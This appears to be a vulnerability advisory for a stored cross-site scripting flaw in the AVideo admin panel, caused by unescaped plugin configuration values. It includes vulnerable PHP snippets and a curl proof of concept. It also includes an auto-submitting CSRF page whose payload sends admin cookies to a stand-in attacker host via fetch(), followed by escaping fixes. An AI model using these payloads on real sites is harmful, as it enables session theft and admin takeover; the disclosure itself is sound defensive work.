CVE-2026-34396

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## Summary The AVideo admin panel renders plugin configuration values in HTML forms without applying `htmlspecialchars()` or any other output encoding. The `jsonToFormElements()` function in `admin/functions.php` directly interpolates user-controlled values into textarea contents, option elements, and input attributes. An attacker who can set a plugin configuration value (either as a compromised admin or by chaining with CSRF on `admin/save.json.php`) can inject arbitrary JavaScript that executes whenever any administrator visits the plugin configuration page. This vulnerability chains with AVI-046 (CSRF on `save.json.php`) to enable a full cross-origin stored XSS attack against the admin panel without requiring any prior authentication. ## Details The `jsonToFormElements()` function in `admin/functions.php` contains multiple unsafe output points where configuration values are rendered without escaping: **Textarea injection (line 47):** ```php // admin/functions.php:47 $html .= "<textarea class='form-control' name='{$name}' id='{$id}'>{$valueJson->value}</textarea>"; ``` The `$valueJson->value` is placed directly between textarea tags without encoding. **Select option injection (line 55):** ```php // admin/functions.php:55 $html .= "<option value='{$key}' {$select}>{$value}</option>"; ``` Both `$key` and `$value` are inserted without encoding, allowing attribute breakout and HTML injection. **Input type and value injection (lines 62-63):** ```php // admin/functions.php:62-63 $html .= "<input class='form-control' type='{$valueJson->type}' value='{$valueJson->value}' name='{$name}' id='{$id}'/>"; ``` Both `type` and `value` attributes are unescaped, enabling attribute injection. **Fallback input injection (line 75):** ```php // admin/functions.php:75 $html .= "<input class='form-control' type='text' value='{$valueJson}' name='{$name}' id='{$id}'/>"; ``` The raw `$valueJson` string is placed into the `value` attribute without encoding. Configuration values are saved via `admin/save.json.php`, which lacks CSRF token validation. ## Proof of Concept **Method 1: Direct exploitation (requires admin session)** ```bash # Store XSS payload in a plugin configuration value # The endpoint uses pluginName and direct field names as parameters curl -b "PHPSESSID=ADMIN_SESSION_COOKIE" \ -X POST "https://your-avideo-instance.com/admin/save.json.php" \ -d "pluginName=PlayerSkins&skin=x' onfocus=alert(document.cookie) autofocus='" ``` When any admin visits the plugin configuration page, the payload fires. **Method 2: Cross-origin chain with CSRF (no authentication required)** Create the following HTML page and trick an admin into visiting it: ```html <!DOCTYPE html> <html> <head><title>AVI-033 + AVI-046 Chain PoC</title></head> <body> <h1>Loading...</h1> <form id="xss" method="POST" action="https://your-avideo-instance.com/admin/save.json.php"> <input type="hidden" name="name" value="Gallery" /> <input type="hidden" name="parameter" value="description" /> <input type="hidden" name="value" value="' onfocus=fetch('https://attacker.example.com/steal?c='+document.cookie) autofocus='" /> </form> <script>document.getElementById('xss').submit();</script> </body> </html> ``` The payload breaks out of the `value` attribute in the rendered input element: ```html  <input class='form-control' type='text' value='' onfocus=fetch('https://attacker.example.com/steal?c='+document.cookie) autofocus='' name='description' id='description'/> ``` ## Impact An attacker can achieve stored cross-site scripting in the AVideo admin panel. When chained with the CSRF vulnerability on `save.json.php`, this requires zero authentication - the attacker only needs to lure an admin to a malicious page. Once the XSS fires in the admin context, the attacker can: - Steal admin session cookies and CSRF tokens - Create new admin accounts - Modify site configuration (enable file uploads, disable security features) - Inject persistent JavaScript into public-facing pages via site-wide settings - Pivot to server-side code execution via plugin upload functionality - **CWE-79**: Improper Neutralization of Input During Web Page Generation (Stored XSS) - **Severity**: High ## Recommended Fix Apply `htmlspecialchars($value, ENT_QUOTES, 'UTF-8')` to all user-controlled values rendered in `admin/functions.php`: ```php // admin/functions.php:47 - textarea content $html .= "<textarea class='form-control' name='{$name}' id='{$id}'>" . htmlspecialchars($valueJson->value, ENT_QUOTES, 'UTF-8') . "</textarea>"; // admin/functions.php:55 - select option $html .= "<option value='" . htmlspecialchars($key, ENT_QUOTES, 'UTF-8') . "' {$select}>" . htmlspecialchars($value, ENT_QUOTES, 'UTF-8') . "</option>"; // admin/functions.php:62-63 - input type and value $html .= "<input class='form-control' type='" . htmlspecialchars($valueJson->type, ENT_QUOTES, 'UTF-8') . "' value='" . htmlspecialchars($valueJson->value, ENT_QUOTES, 'UTF-8') . "' name='{$name}' id='{$id}'/>"; // admin/functions.php:75 - fallback input $html .= "<input class='form-control' type='text' value='" . htmlspecialchars($valueJson, ENT_QUOTES, 'UTF-8') . "' name='{$name}' id='{$id}'/>"; ``` --- *Found by [aisafe.io](https://aisafe.io)*

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